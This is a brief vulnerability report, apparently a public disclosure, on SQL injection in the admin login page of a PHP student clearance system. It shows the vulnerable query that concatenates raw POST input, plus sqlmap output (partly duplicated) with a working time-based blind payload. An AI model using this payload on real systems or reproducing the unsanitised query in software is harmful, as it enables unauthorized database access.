Student Clearance System login.php has Sqlinjection

Student Clearance System admin/login.php has Sqlinjection,The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly.An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```
include('../connect.php');

$username=$_SESSION['admin-username'];
date_default_timezone_set('Africa/Lagos');
$current_date = date('Y-m-d H:i:s');

if(isset($_POST['btnlogin']))
{

$username = $_POST['txtusername'];
$password = $_POST['txtpassword'];
$status = 'Active';


 $sql = "SELECT * FROM admin WHERE username='" .$username . "' and password = '". $password."' and status = '". $status."'";
    $result = mysqli_query($conn,$sql);
    $row  = mysqli_fetch_array($result);

     $_SESSION["admin-username"] = $row['username'];

     $count=mysqli_num_rows($result);
     if(isset($_SESSION["admin-username"])) {
    {

header("Location: index.php");
```

```
sqlmap identified the following injection point(s) with a total of 138 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: btnlogin=&txtpassword=-1' OR 3 AND (SELECT 9161 FROM (SELECT(SLEEP(5)))IqKw)-- gUjG21=6 AND 000614=000614 -- &txtusername=TYYHyRvY
---
[20:48:59] [INFO] the back-end DBMS is MySQL
```

Sqlmap Attack

```
sqlmap identified the following injection point(s) with a total of 138 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: btnlogin=&txtpassword=-1' OR 3 AND (SELECT 9161 FROM
```

```
(SELECT(SLEEP(5)))IqKw)-- gUjG21=6 AND 000614=000614 -- &txtusername=TYYHyRvY
---
```